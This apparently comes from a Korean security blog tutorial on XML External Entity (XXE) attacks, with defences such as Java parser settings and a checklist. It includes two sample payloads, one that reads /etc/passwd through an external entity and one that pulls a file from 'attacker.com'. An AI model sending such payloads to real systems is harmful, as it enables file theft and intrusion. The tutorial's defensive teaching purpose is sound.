728x90
반응형

이번에는 XML 외부 엔티티 (XXE, XML External Entity) 공격에 대해 다뤄보겠습니다. XXE 공격은 XML을 처리하는 애플리케이션에서 발생할 수 있는 취약점으로, 외부 엔티티를 처리하는 과정에서 공격자가 서버의 민감한 파일에 접근하거나 네트워크를 통한 공격을 수행할 수 있습니다.

18. XML 외부 엔티티 (XXE, XML External Entity) 공격

18.1. XXE 개요

XXE는 XML 문서 내에서 외부 엔티티를 참조할 때 발생할 수 있는 보안 취약점입니다. 외부 엔티티는 XML 파일 내에서 다른 파일이나 URL을 참조하는 방식으로 사용됩니다. 공격자는 이러한 외부 엔티티를 악용하여 내부 시스템의 민감한 정보를 유출하거나, 원격 서버로 악성 요청을 보낼 수 있습니다.

18.2. XXE 공격 예시

  1. 기본적인 XXE 공격예시:위와 같은 XML 데이터를 서버로 전송하면, 서버는 file:///etc/passwd 파일의 내용을 XML 응답에 포함시켜서 클라이언트에 반환합니다. 공격자는 이를 통해 서버 내부의 민감한 파일을 유출할 수 있습니다.

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" > 
]>
<foo>&xxe;</foo>
  1. XML 파싱 과정에서 외부 엔티티를 참조할 수 있다면, 공격자는 XML 파일 내에서 시스템의 내부 파일을 읽는 명령을 삽입할 수 있습니다.
  2. 리모트 파일 포함 (Remote File Inclusion, RFI)예시:공격자는 이 방식으로 악성 XML 파일을 원격으로 호출하여 시스템을 감염시킬 수 있습니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://attacker.com/malicious.xml" > 
]>
<foo>&xxe;</foo>
  1. XXE 공격을 사용하여 외부 서버에 대한 요청을 발송하거나, 원격 서버에서 악성 코드를 실행하는 방식입니다. 예를 들어, 공격자는 외부 서버에 악성 XML 파일을 요청하여 실행시키거나, 내부 시스템의 파일을 외부로 전송할 수 있습니다.

18.3. XXE 공격의 영향

  • 민감한 파일 노출: 시스템의 중요한 파일 (/etc/passwd, config.php 등)을 읽고 외부로 유출할 수 있습니다.
  • 내부 시스템의 정보 유출: XXE 공격을 통해 내부 네트워크에 대한 정보를 탈취할 수 있습니다.
  • 원격 서버 공격: 공격자는 외부 서버로 요청을 보내거나, 명령어 실행을 유도하여 서버를 감염시킬 수 있습니다.
  • 서비스 거부 (DoS): XML 파싱 과정에서 비정상적인 요청을 처리할 경우 서비스 중단을 초래할 수 있습니다.

18.4. XXE 공격 방어 방법

  1. XML 파서의 외부 엔티티 처리 비활성화Java (JAXP)에서 외부 엔티티 비활성화:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
  1. XML 파서를 사용할 때, 외부 엔티티를 처리하지 않도록 설정하여 XXE 공격을 방어할 수 있습니다. 대부분의 XML 라이브러리에서는 이를 비활성화하는 옵션이 있습니다.
  2. XML Schema 사용
  3. XML Schema를 사용하여 XML 문서의 구조를 강제함으로써 외부 엔티티를 포함할 수 없게 만들 수 있습니다. 이를 통해 XXE 공격을 예방할 수 있습니다.
  4. 리모트 엔티티 차단
  5. 외부 URL을 포함한 엔티티가 처리되지 않도록 네트워크에서 리모트 URL 차단을 설정합니다. 이를 통해 외부 서버와의 통신을 차단할 수 있습니다.
  6. 문서 크기 제한 및 파일 검증
  7. XML 문서 크기를 제한하거나, 업로드된 파일을 철저하게 검증하여 악성 XML 파일이 서버에 접근하는 것을 방지합니다.
  8. 보안 패치와 업데이트
  9. 사용하는 XML 라이브러리 및 프레임워크의 보안 패치를 최신 상태로 유지하여 이미 알려진 취약점을 차단합니다.
  10. 웹 애플리케이션 방화벽(WAF)
  11. WAF를 사용하여 악의적인 XML 요청을 사전에 탐지하고 차단할 수 있습니다. XXE 패턴을 감지하여 비정상적인 요청을 자동으로 필터링합니다.

18.5. XXE 공격 방어 체크리스트

  1. XML 파서에서 외부 엔티티 처리를 비활성화했다.
  2. XML 문서의 크기 제한형식 검증을 철저히 했다.
  3. 보안 패치업데이트를 최신 상태로 유지했다.
  4. XML Schema를 활용하여 문서 구조를 검증하고 외부 엔티티 사용을 차단했다.
  5. WAF와 같은 보안 솔루션을 적용하여 공격을 사전 차단했다.

18.6. 결론

XXE (XML External Entity) 공격은 XML 파싱을 취급하는 애플리케이션에서 발생할 수 있는 심각한 보안 취약점입니다. 이를 방지하려면 XML 파서의 외부 엔티티 처리 비활성화, XML Schema 사용, 외부 URL 차단 등의 보안 조치를 적용해야 합니다. 또한, 리모트 서버와의 통신을 제한하고 파일 검증을 강화하는 등의 보안 수칙을 지키는 것이 중요합니다.

XXE 공격에 대한 대비를 철저히 하여, 내부 시스템 정보 유출이나 외부 서버 감염 등의 심각한 피해를 방지할 수 있습니다.

728x90
반응형

+ Recent posts